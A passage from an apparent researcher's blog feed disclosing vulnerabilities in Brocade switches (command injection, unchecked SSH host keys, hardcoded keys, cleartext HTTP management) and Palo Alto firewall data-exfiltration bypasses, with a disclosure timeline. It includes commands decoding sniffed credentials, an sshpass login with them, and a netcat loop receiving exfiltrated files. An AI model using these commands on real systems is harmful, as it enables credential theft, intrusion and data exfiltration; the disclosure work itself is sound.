</code></pre>
<p>This program provides the back-end interface to manage HTTP/HTTPS APIs. For example, the JAVA client is able to install a new firmware image as shown below:</p>
<p><img alt="" src="images/2025-brocade-switches-firmware-download.png" /></p>
<p>A specific HTTP request will be created by the JAVA client and this POST request will then be parsed by the <code>0.webliker.fcg</code> program.</p>
<p>The user can submit specific values in a POST request - these values will be parsed by the <code>0.weblinker.cfg</code> program, running as <code>root</code> on the switch:</p>
<p>Function <code>parseRequest</code> in the <code>0.weblinker.fcg</code> program:</p>
<p><img alt="" src="images/2025-brocade-switches-weblinker-parseRequest-01.png" /></p>
<p>Function <code>parseRequest</code> in the <code>0.weblinker.fcg</code> program:</p>
<p><img alt="" src="images/2025-brocade-switches-weblinker-parseRequest-02.png" /></p>
<p>And then these values will directly be used in commands (user, password, host, ...) executed as root (lines 1052 and then 1067 in the pseudo-code in the next image).</p>
<p>It is also worth noting that by default, in these commands, the SSH keys of the remote server are not checked, allowing any attacker to MITM and intercept credentials over the network and/or inject a malicious firmware image during the update process to get a Remote Code Execution/downgrade of a vulnerable firmware version.</p>
<p>For example, the function <code>configXfer</code> in the <code>0.weblinker.fcg</code> is used to upload configuration file over SCP:</p>
<p><img alt="" src="images/2025-brocade-switches-weblinker-configXfer.png" /></p>
<p>The code in the <code>0.weblinker.fcg</code> program contains multiple command injections.</p>
<p><a id="insecure-code-sectelnet"></a></p>
<h3>SecTELNET server (hardcoded keys, use of ECB)</h3>
<p>The SecTelnet functionality provides secure connection to the switch. This is a custom implementation from Brocade that dates from 2000s. The telnet server will call the binary <code>/fabos/libexec/secDecrypt</code>:</p>
<p><img alt="" src="images/2025-brocade-switches-sectelnet-sub_100043D0-decrypt.png" /></p>
<p>The <code>secDecrypt</code> program will be called and this program is linked to <code>libpki.so</code>. <code>libpki.so</code> provides functions for encryption/decryption.</p>
<p><code>libpki.so</code> uses ECB (Electronic Codebook) encryption mode that is strongly not recommended to use in cryptographic protocols. It was also possible to find a hardcoded key used for cryptography inside this library:</p>
<p>Function <code>sub_D5F4</code> in <code>libpki.so</code> - Use of ECB with 4 Cross-references:</p>
<p><img alt="" src="images/2025-brocade-switches-sectelnet-libpki.so-sub_D5F4-ecb.png" /></p>
<p>Function <code>pkiCsrGenExin</code> in <code>libpki.so</code> - Use of a hardcoded key:</p>
<p><img alt="" src="images/2025-brocade-switches-sectelnet-libpki.so-pkiCsrGenEx.png" /></p>
<p><a id="insecure-code-opinions"></a></p>
<h3>Opinions</h3>
<p>The code quality is interesting (use of ECB, use of <code>system()</code> and <code>popen()</code> everywhere, use of hardcoded key inside binaries) and likely contains several critical vulnerabilities.</p>
<p>The SSH keys are not checked, allowing an attacker to MITM and get Remote Code Execution against the switches (via the injection of a malicious firmware image or a previous vulnerable firmware version during the update process).</p>
<p>Unfortunately, because these devices were used in production, this analysis had to be extremely superficial and no dynamic analysis was performed. However, there are likely many more exploitable vulnerabilities.</p>
<p>I did not have access to a test device and was not allowed to exploit any vulnerability since it could disrupt the production network.</p>
<p><a id="insecure-code-in-shell-scripts"></a></p>
<h2>Details - Insecure code in shell scripts</h2>
<p>The shell scripts inside the switches are insecure.</p>
<p>For example, in the v9.0.1b4 firmware version, the script <code>/etc/init.d/system.sh</code> is used to debug switches. This script can be executed from the snmp binary.</p>
<p>The result of the <code>/fabos/bin/supportshow</code> command will be sent to a remote SSH server without checking the identity of the remote server (<code>-oStrictHostKeyChecking=no</code>). This allows an attacker to MITM the SSH connection.</p>
<p>There is also a fall-back to plain-text FTP (on line 52).</p>
<p>Content of <code>/etc/init.d/system.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">37</span> <span style="color: #408080; font-style: italic">#Redirecting the output to the file in remote server</span>
<span style="color: #666666">38</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$7</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;scp&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span> 
<span style="color: #666666">39</span>         /usr/bin/scp -q -oStrictHostKeyChecking<span style="color: #666666">=</span>no <span style="color: #19177C">$y</span> <span style="color: #19177C">$1</span>@<span style="color: #666666">[</span><span style="color: #19177C">$3</span><span style="color: #666666">]</span>:<span style="color: #19177C">$4</span>  <span style="color: #408080; font-style: italic"># &gt; /dev/null 2&gt;&amp;1</span>
<span style="color: #666666">40</span> <span style="color: #008000; font-weight: bold">elif</span> <span style="color: #666666">[</span> <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$7</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;sftp&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">41</span>         <span style="color: #19177C">x</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;/tmp/snmpd_sftp_file.bat&quot;</span>
<span style="color: #666666">42</span>         <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;put </span><span style="color: #19177C">$y</span><span style="color: #BA2121"> </span><span style="color: #19177C">$8</span><span style="color: #BA2121">&quot;</span> &gt; <span style="color: #19177C">$x</span> <span style="color: #408080; font-style: italic">#2&gt;/dev/null</span>
<span style="color: #666666">43</span>         /usr/bin/sftp -oPort<span style="color: #666666">=</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">10</span><span style="color: #BB6688; font-weight: bold">}</span> -oPreferredAuthentications<span style="color: #666666">=</span>password -oSSHPassword<span style="color: #666666">=</span><span style="color: #19177C">$2</span> -oStrictHostKeyChecking<span style="color: #666666">=</span>no -b <span style="color: #19177C">$x</span> <span style="color: #19177C">$1</span>@<span style="color: #666666">[</span><span style="color: #19177C">$3</span><span style="color: #666666">]</span>:<span style="color: #19177C">$4</span>   <span style="color: #408080; font-style: italic">#&gt; /dev/null 2&gt;&amp;1</span>
<span style="color: #666666">44</span>         <span style="color: #19177C">retVal</span><span style="color: #666666">=</span><span style="color: #19177C">$?</span>
<span style="color: #666666">45</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$retVal</span><span style="color: #BA2121">&quot;</span> !<span style="color: #666666">=</span> <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">46</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">10</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> -gt <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">47</span>                 /usr/bin/sftp -oPort<span style="color: #666666">=</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">10</span><span style="color: #BB6688; font-weight: bold">}</span> -oPreferredAuthentications<span style="color: #666666">=</span>password -oSSHPassword<span style="color: #666666">=</span><span style="color: #19177C">$2</span> -oStrictHostKeyChecking<span style="color: #666666">=</span>no -oBatchMode<span style="color: #666666">=</span>no -b <span style="color: #19177C">$x</span> <span style="color: #19177C">$1</span>@<span style="color: #666666">[</span><span style="color: #19177C">$3</span><span style="color: #666666">]</span>:<span style="color: #19177C">$4</span>      <span style="color: #408080; font-style: italic"># &gt; /dev/null 2&gt;&amp;1</span>
<span style="color: #666666">48</span>         <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">49</span>     /usr/bin/sftp -oPreferredAuthentications<span style="color: #666666">=</span>password -oSSHPassword<span style="color: #666666">=</span><span style="color: #19177C">$2</span> -oStrictHostKeyChecking<span style="color: #666666">=</span>no -oBatchMode<span style="color: #666666">=</span>no -b <span style="color: #19177C">$x</span> <span style="color: #19177C">$1</span>@<span style="color: #666666">[</span><span style="color: #19177C">$3</span><span style="color: #666666">]</span>:<span style="color: #19177C">$4</span>
<span style="color: #666666">50</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">51</span>         <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">52</span> <span style="color: #008000; font-weight: bold">elif</span> <span style="color: #666666">[</span> <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$7</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;ftp&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">53</span>         /bin/ncftpput -t <span style="color: #666666">60</span> -u <span style="color: #19177C">$1</span> -p <span style="color: #19177C">$2</span> <span style="color: #19177C">$3</span> <span style="color: #19177C">$4</span> <span style="color: #19177C">$y</span> <span style="color: #408080; font-style: italic">#&gt; /dev/null 2&gt;&amp;1</span>
</pre></div>

<p>Also the <code>-oSSHPassword</code> is a non-standard option for sftp and passwords will appear in the process list.</p>
<p><a id="management-http"></a></p>
<h2>Details - Lack of encryption for management protocol (HTTP)</h2>
<p>It was observed that the firmware versions below provide management over HTTP:</p>
<ul>
<li>6.2.2f</li>
<li>7.4.2c</li>
<li>8.2.1c</li>
<li>8.1.2d</li>
<li>8.2.3a</li>
</ul>
<p>This allows an attacker to retrieve passwords of devices by sniffing the network:</p>
<pre><code>09:04:57.406608 IP 10.13.3.7.59090 &gt; 10.13.3.8.http: Flags [P.], seq 1:274, ack 1, win 229, options [nop,nop,TS val 96789859 ecr 3236098423], length 273: HTTP: GET /authenticate.html HTTP/1.1
        [...]
        0x0030:  ffff ffff 4745 5420 2f61 7574 6865 6e74  ....GET./authent
        0x0040:  6963 6174 652e 6874 6d6c 2048 5454 502f  icate.html.HTTP/
        0x0050:  312e 310d 0a55 7365 722d 4167 656e 743a  1.1..User-Agent:
        0x0060:  2053 414e 6e61 764d 502d 322e 312e 312d  .SANnavMP-2.1.1-
        0x0070:  7065 7266 6d6f 6e2d 6d77 0d0a 4175 7468  perfmon-mw..Auth
        0x0080:  6f72 697a 6174 696f 6e3a 2043 7573 746f  orization:.Custo
        0x0090:  6d5f 4261 7369 6320 ffff ffff ffff ffff  m_Basic.....[REM
        0x00a0:  ffff ffff ffff ffff ffff ffff 0d0a 4361  OVEDREMOVED]....
        0x00b0:  6368 652d 436f 6e74 726f 6c3a 206e 6f2d  che-Control:.no-
        0x00c0:  6361 6368 650d 0a50 7261 676d 613a 206e  cache..Pragma:.n
        0x00d0:  6f2d 6361 6368 650d 0a48 6f73 743a 20ff  o-cache..Host:.[
        0x00e0:  ffff ffff ffff ffff ffff ffff 0a41 6363  REMOVEDREMO].Acc
        0x00f0:  6570 743a 2074 6578 742f 6874 6d6c 2c20  ept:.text/html,.
        0x0100:  696d 6167 652f 6769 662c 2069 6d61 6765  image/gif,.image
        0x0110:  2f6a 7065 672c 202a 3b20 713d 2e32 2c20  /jpeg,.*;.q=.2,.
        0x0120:  2a2f 2a3b 2071 3d2e 320d 0a43 6f6e 6e65  */*;.q=.2..Conne
        0x0130:  6374 696f 6e3a 206b 6565 702d 616c 6976  ction:.keep-aliv
        0x0140:  650d 0a0d 0a                             e....
</code></pre>
<p>Since the credentials are just base64-encoded, it is possible to decrypt them:</p>
<pre><code>kali% echo YWRtaW46YWR2aXNvcnk= | base64 -d;echo
admin:advisory
</code></pre>
<p>Using stolen credentials, it is possible to SSH the Brocade switches:</p>
<pre><code>kali% sshpass -p 'advisory' ssh -l admin 10.13.3.8
Warning: SSH client configured for wide compatibility by kali-tweaks.
SWITCH:admin&gt;
</code></pre>
<p><a id="remote-exec-of-jar-files"></a></p>
<h2>Details - Remote execution of JAR files over HTTP and HTTPS</h2>
<p>The firmware versions below provide management over HTTP with a JAVA client:</p>
<ul>
<li>6.2.2f</li>
<li>7.4.2c</li>
<li>8.2.1c</li>
<li>8.1.2d</li>
<li>8.2.3a</li>
</ul>
<p>The firmware version below provides management over HTTPS with a JAVA client:</p>
<ul>
<li>8.2.0gft</li>
</ul>
<p>The management interface is provided by a JAVA client that will download .jar files from the switches over the network (clear-text HTTP or insecure HTTPS).</p>
<p>Starting the JAVA Client from the browser:</p>
<p><img alt="" src="images/2025-brocade-switches-java-client-1.png" /></p>
<p>Content of the JNLP file provide by the switch to the browser:</p>
<pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;jnlp spec="1.7+" codebase="http://10.13.3.8/"&gt;
&lt;information&gt;
&lt;title&gt;swd : WebTools: Switch Explorer&lt;/title&gt;
&lt;vendor&gt;[REDACTED]&lt;/vendor&gt;
&lt;description&gt;Web Tools&lt;/description&gt;
&lt;icon kind="splash" href="/Splash_WT.jpg"/&gt;
&lt;/information&gt;
&lt;application-desc main-class="com.brocade.web.switchview.SwitchExplorerApplet"&gt;
&lt;argument&gt;[REDACTED]&lt;/argument&gt;
&lt;/application-desc&gt;
&lt;resources&gt;
&lt;j2se version="1.7+" initial-heap-size="64m" max-heap-size="512m" /&gt;&lt;jar href="wt-app.jar" download="eager"/&gt;
&lt;jar href=" wt-thirdparty.jar" download="eager"/&gt;
&lt;property name="jnlp.packEnabled" value="true" /&gt;
&lt;property name="jnlp.wt.page" value="/switchExplorer.html" /&gt;
&lt;property name="jnlp.wt.token" value="" /&gt;
&lt;property name="jnlp.wt.authenticated" value="-2" /&gt;
&lt;property name="jnlp.wt.WebStarted" value="yes" /&gt;
&lt;property name="jnlp.wt.urlProtocol" value="http" /&gt;
&lt;property name="jnlp.wt.urlPort" value="80" /&gt;
&lt;property name="jnlp.wt.adCapable" value="0" /&gt;
&lt;property name="jnlp.wt.isVFEnabled" value="false" /&gt;
&lt;property name="jnlp.wt.switchName" value="[REDACTED]" /&gt;
&lt;property name="jnlp.wt.isSwitchManager" value="false" /&gt;
&lt;/resources&gt;
&lt;security&gt;
&lt;all-permissions/&gt;
&lt;/security&gt;
&lt;/jnlp&gt;
</code></pre>
<p>We can confirm the traffic of .jar files over HTTP or HTTPS using a second switch and the JAVA client will download files containing executable codes that will run on the workstation:</p>
<p><img alt="" src="images/2025-brocade-switches-java-client-2.png" /></p>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<ul>
<li>Aug 2022: Security assessment performed on Brocade Fibre Channel switches.</li>
<li>Sep 2022: A complete report was sent to Dell (as a support provider for this software) and forwarded to Brocade.</li>
<li>Sep 2022: The report was rejected by Brocade.</li>
<li>Oct 2022 - Dec 2022: Negotiations with Brocade to get security patches.</li>
<li>Nov 8, 2022: <a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/21217">CVE-2022-33186 - Pre-auth RCE - Custom insecure management protocol with "ezswitchsetup" - RCE</a> was patched and credited to Brocade.</li>
<li>Dec 7, 2022: <strong>Failed negotiations</strong>: Brocade support team confirmed that (i) no security patches would be provided since the tests were not carried out on the latest version and therefore invalid, (ii) all the reported vulnerabilities were misconfiguration issues in the devices and sannav, (iii) anyway, since the tested versions were EOL, CVEs would never be published even if a vulnerability is found and (iv) Brocade asked Dell to provide a list of relevant vulnerabilities for the supported versions.<br>
Pierre's comments: At that time, <u>some of the reported vulnerabilities were found in 3 supported versions of FOS (Fabric Operating System).</u></li>
<li>Dec 12, 2022: Contacted Dell to clarify CVE-2022-33186 and reach Brocade to provide credits.</li>
<li>Jan 31, 2023: The report was sent again to the Dell's Broadcom support team.</li>
<li>Feb 1, 2023: Dell replied that no actions would be taken until the vulnerabilities were replicated by the customer in the latest versions of SANnav and FOS and confirmed that the latest FOS and SANnav were patched.</li>
<li>Jan 29, 2024: Contacted Dell to clarify CVE-2022-33186 and reach Brocade to provide credits.</li>
<li>Jan 30, 2024: Dell provided a list of unrelated CVEs.</li>
<li>Jan 31, 2024: Contacted Dell to clarify CVE-2022-33186 and reach Brocade to provide credits.</li>
<li>Jan 31, 2024: The Report was sent to Brocade PSIRT and clarifications on CVE-2022-33186 were requested to Brocade.</li>
<li>Mar 22, 2024: The Report was sent again to Brocade PSIRT.</li>
<li>Mar 22, 2024: Brocade PSIRT replied that they were investigating the vulnerabilities.</li>
<li>Apr 18, 2024: Contacted Brocade PSIRT to get status of the vulnerabilities.</li>
<li>Apr 18, 2024: Brocade PSIRT replied that they were currently reviewing all the issues.</li>
<li>Apr 25, 2024: Brocade PSIRT confirmed that they were validating the analysis of the vulnerabilities.</li>
<li>May 3, 2024: Brocade PSIRT informed me that more time would be required to analyze all the reported vulnerabilities.</li>
<li>May 6, 2024: Asked the Brocade PSIRT when they would be able to share the analysis.</li>
<li>May 7, 2024: Brocade PSIRT confirmed that they would share the results of the final investigation next week. They also justified the previous rejections of the Report because attempts were made through an OEM support organization and "OEM support organizations are not equipped to respond to an investigation made for an end of support software version" and "As a result, Brocade PSIRT / Engineering wasn't aware of this initial attempt to raise your issue". Brocade PSIRT also confirmed that they (Brocade PSIRT) would always investigate potential vulnerabilities.</li>
<li>May 7, 2024: I provided Brocade PSIRT the official email sent by Brocade in 2022 where Brocade L3 support replied that security vulnerabilities would not be patched and that the Report was rejected.<br>
Pierre's comments: Brocade was made aware of these vulnerabilities in 2022 and rejected the report, while 3 versions were still supported at that time.</li>
<li>May 17, 2024: Brocade PSIRT provided an analysis of the vulnerabilities.</li>
<li>May 20, 2024: Asked Brocade PSIRT when the security patches would be available and asked about a coordinated disclosure.</li>
<li>May 30, 2024: Sent a follow-up email to Brocade PSIRT.</li>
<li>May 30, 2024: Brocade PSIRT said a report would be sent tomorrow.</li>
<li>Jun 3, 2024: Brocade PSIRT confirmed that security patches would be available in September 2024 and then several vulnerabilities were under embargo until the end of October 2024.</li>
<li>Jun 8, 2024: I confirmed that I would publish a security advisory containing all the vulnerabilities at the end of October 2024, after the end of embargo.</li>
<li>Jun 8, 2024: Brocade PSIRT confirmed they received my email.</li>
<li>Jun 10, 2024: Brocade PSIRT confirmed that they would work with me on the October announcement.</li>
<li>Oct 31, 2024: Asked Brocade PSIRT to communicate the links of the security bulletins and said that I would publish the technical advisory in the first week of November 2024, even without official security bulletins.</li>
<li>Oct 31, 2024: Brocade PSIRT replied that security bulletins would be published on November 12, 2024.</li>
<li>Nov 1, 2024: I replied that the embargo period set by Brocade ended and that I was planning to publish a security advisory. I requested the corresponding CVE identifiers and the vulnerable and patched firmware versions for all the vulnerabilities.</li>
<li>Nov 7, 2024: Brocade PSIRT indicated they would provide more information later regarding the vulnerabilities.</li>
<li>Nov 8, 2024: Brocade PSIRT provided a link to CVE-2024-5460, CVE-2024-5461 and CVE-2020-10188 and confirmed that additional updates would be published.</li>
<li>Nov 8, 2024: Asked Brocade PSIRT information regarding missing CVEs in supported and unsupported versions of Fabric OS.</li>
<li>Nov 8, 2024: Brocade informed me that the security advisory would be published on November 12.</li>
<li>Dec 11, 2024: Brocade PSIRT provided a link to CVE-2024-7516.</li>
<li>Mar 31, 2025: A security advisory is published.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2025-03-31-brocade-switches-10-vulnerabilities.html">https://pierrekim.github.io/blog/2025-03-31-brocade-switches-10-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2025-brocade-switches.txt">https://pierrekim.github.io/advisories/2025-brocade-switches.txt</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25177">CVE-2024-7516 - Brocade Fabric OS before 9.2.2 does not enforce strict host key checking</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24409">CVE-2024-5460 - Fabric OS versions prior to v9.0 have default community strings</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24411">CVE-2024-5461 - Command or parameter injection via unique embedded switch SNMP commands</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23215">CVE-2023-3454 - Remote code execution (RCE) vulnerability in Brocade Fabric OS</a></p>
<p><a href="https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/21217">CVE-2022-33186 - EZServer module vulnerability. (BSA-2022-2121)</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>3 vulnerabilities in Palo Alto Deep Packet Inspection mechanism</title>
        <link href="2025-03-31-paloalto-dpi-3-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>Today's Next-Generation Firewalls provide advanced protection for physical or virtual public and private cloud networks. </p>
<p>From <a href="https://www.paloaltonetworks.com/network-security/next-generation-firewall">https://www.paloaltonetworks.com/network-security/next-generation-firewall</a></p>
<p>Understand the true identity of your applications.</p>
<p>PAN-OS includes App-ID our patented traffic classification technology. It automatically discovers and controls new applications - even those that try to evade detection by masquerading as legitimate traffic, hopping ports or sneaking through firewalls under encryption. Plus, our latest post-Quantum cryptographic algorithms prohibit nonsanctioned activity, using vulnerability signatures and threat reporting.</p>
<p>From <a href="https://www.paloaltonetworks.com/network-security/pan-os">https://www.paloaltonetworks.com/network-security/pan-os</a></p>
</blockquote>
<h2>Vulnerabilities Summary</h2>
<p>Vulnerable versions: all versions of Palo Alto firewalls.</p>
<p>Status of the tested versions in November 2024:</p>
<ul>
<li>PanOS 10.2.8: vulnerable,</li>
<li>PanOS 10.2.9-h1: vulnerable,</li>
<li>PanOS 11.1.4: vulnerable,</li>
<li>PanOS 11.2.0: vulnerable.</li>
</ul>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#exfiltration-tcp-http">non-assigned CVE vulnerability - Exfiltration of data using TCP and 80/tcp to any IP - Deep Packet Inspection based on "service-http"</a><br></li>
<li><a href="#exfiltration-tcp-https">non-assigned CVE vulnerability - Exfiltration of data using TCP and 443/tcp to any IP - Deep Packet Inspection based on "service-https"</a><br></li>
<li><a href="#exfiltration-udp">non-assigned CVE vulnerability - Exfiltration of data using UDP and any port to any IP</a><br>
3.1 <a href="#exfiltration-udp-poc">PoC: client.py and server.py</a></li>
</ol>
<p>Annexes:</p>
<ol>
<li><a href="#exfiltration-tcp-http-payload">Example payload for the Exfiltration of data using TCP and 80/tcp to any IP</a><br></li>
<li><a href="#exfiltration-udp-payload">Example payload for the Exfiltration of data using UDP and any port to any IP</a><br></li>
</ol>
<p><em>Miscellaneous notes</em>:</p>
<p>The Report was provided in November 2024 to the Palo Alto PSIRT. Palo Alto PSIRT confirmed in January 2025 that I had observed the normal behavior of the Palo Alto's Deep Packet Inspection mechanisms and provided this statement in March 2025:</p>
<blockquote>
<p>Reports 1 &amp; 2:
Our firewall is designed to optimize user experience and minimize disruption. If the firewall encounters HTTP traffic it cannot confidently identify (e.g., Facebook, Reddit), the request is not automatically dropped to avoid false positives and unintended performance issues.</p>
<p>If you'd like to explore an option to drop unidentified traffic, you're welcome to submit a feature request through our support team: https://support.paloaltonetworks.com.</p>
<p>Report 3:
The firewall requires a certain number of packets for inspection before setting the App-ID to unknown-udp. For rules involving apps with udp/dynamic as their default, the firewall waits until an App-ID is determined before taking action. In this case, the UDP packet count fell below the threshold, so the App-ID remained insufficient-data, and the session was not dropped.</p>
<p>If you'd like the flexibility to adjust this packet threshold, you can submit a feature request through our support team: https://support.paloaltonetworks.com.</p>
<p>Security Classification:
Since these reports reflect feature requests rather than product defects, they do not qualify as security vulnerabilities under PAN-OS guidelines. We follow CVE Numbering Authority (CNA) Operational Rules to define vulnerabilities. Specifically, rule 4.1.7 states:</p>
<p>"Detection bypass attacks SHOULD NOT be determined to be vulnerabilities unless a product explicitly claims to detect a specific pattern and fails to do so."</p>
<p>Since PAN-OS does not explicitly claim to detect the reported behaviors, this scenario does not meet the criteria for a CVE-classified vulnerability.</p>
</blockquote>
<p>Because the vendor confirmed that there are no security risks and I disagreed on that, this report includes Risks and Recommendations (that I usually discard in my public security advisories). I did not include Risk levels.</p>
<p><em>Impacts</em></p>
<p>Threat actors located in a LAN can exfiltrate data without any filtering when Deep Packet Inspection firewall rules are configured without specific destination IP ranges (e.g. only relying on "application").</p>
<p>Note: it is normal for DPI firewall to let some packets through by design. The problem mainly lies in the amount of data allowed to pass through. The <a href="https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000ClIgCAK">official documentation</a> states that "a maximum of 4 packets or 2000 bytes of data in either direction (not including the TCP handshake)" will be transmitted before the communication is blocked. In reality, it appears instead that up to 256KB can go through the DPI engines before being effectively blocked by the appliance, so there is a factor 128 compared to the official documentation, allowing an attacker to exfiltrate terabytes of information. Also, a lot of TCP segments are allowed before the communication is effectively blocked by the appliance. These allowed amounts of data and number of packets are not configurable and are likely hardcoded inside the different Palo Alto's DPI engines.</p>
<p>My understanding is that the official documentation confuses IP packets (also called IP datagrams) with TCP segments and UDP datagrams. Therefore, thanks to fragmentation, it is possible to send hundreds of fragmented IP packets (corresponding to 4 reassembled IP packets), which allows data exfiltration.</p>
<p><em>Recommendations</em></p>
<ul>
<li>Do not use Deep Packet Inspection firewall rules without a specific destination IP address.</li>
<li>In the firewall rules, always define the IPv4 and IPv6 ranges of the remote services you want to allow - note that this is likely impossible when relying on Cloud services;</li>
<li>Use <a href="https://docs.paloaltonetworks.com/resources/edl-hosting-service">Palo Alto EDL</a> - note that the use of EDL will not entirely address all the issues (e.g. Facebook IP addresses are not provided).</li>
</ul>
<h2>Summary and Reproducible PoC</h2>
<p>A test network was built to analyze the behavior of the Palo Alto firewalls, and routes were defined in the <code>kali-lan-client</code> and the <code>kali-wan-server</code> to transport data through specific versions of Palo Alto VMs, as shown below.</p>
<p>This configuration allows reaching the <code>kali-wan-server</code> from the <code>kali-lan-client</code> using different IP addresses that will route through different Palo Alto VMs (10.2.8, 10.2.9-h1, 11.1.4 and 11.2.0):    </p>
<p>Test network:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-test-network.png" /></p>
<p>An additional Palo Alto VM was installed (PA-VM-ESX-11.1.4-license) with a license that supports advanced options (e.g. SSL/TLS interception) with a similar configuration as the existing PA-VM-ESX-11.1.4 VM. This specific VM allows testing options that can only be enabled using a license.</p>
<p><a id="exfiltration-tcp-http"></a></p>
<h2>Details - Exfiltration of data using TCP and 80/tcp - Deep Packet Inspection based on "service-http"</h2>
<h3>Observations</h3>
<p>It was observed that it is possible to exfiltrate any amount of data to the Internet using TCP with TCP port 80 when the <code>service-http</code> is selected with a specific application.</p>
<p>For example, when adding access to a website through an application (e.g. <code>ms-office365</code>, <code>facebook</code>, ...), the Service/URL will be set to <code>service-http</code> or <code>application-default</code>.</p>
<p>The <code>application-default</code> service will automatically enable <code>service-http</code> for websites.</p>
<p>And the <code>service-http</code> Deep Packet Inspection (DPI) mechanism will allow the exfiltration of data to any HTTP website as shown below (even to non-whitelisted websites/IPs):</p>
<p>Basic firewall rules:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-rules-http.png" /></p>
<p><a href="images/2025-palo-alto-dpi-rules-http-full.png">Click here for full image</a></p>
<p>Adding either <code>facebook</code> or <code>ms-office365</code> or any other website will allow data exfiltration.</p>
<p>Since no IP addresses are specified, this rule will match any IP. This functionality is completely broken and allows an attacker to exfiltrate chunks of 21KB of data to any IP before the connection is correctly blocked by the Palo Alto firewall.</p>
<p>The remote server will have a netcat server listening on port 80/tcp and will receive files - <strong>this server is NOT whitelisted</strong>.</p>
<p>Receiving a file over TCP from the client:</p>
<pre><code>kali-wan-server# for i in $(seq 1 10); do nc -l -v -p 80 &gt; exfiltration-http-$i;sleep 1;done
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 52832
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 52838
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 52852
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 37414
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 37424
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 37436
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 37440
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 36256
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 36270
^C
listening on [any] 80 ...
192.168.1.2: inverse host lookup failed: Host name lookup failure
connect to [172.16.35.3] from (UNKNOWN) [192.168.1.2] 36280
^C
kali-wan-server#
</code></pre>
<p>The client sends random data to the remote server using port 80/tcp.</p>
<p>Sending random data to any remote server on port 80/tcp (the rand.hex file was generated using <code>dd if=/dev/urandom bs=8K count=1 | hexdump -C &gt; rand.hex</code>):</p>
<pre><code>kali-wan-client% sha256sum rand.hex
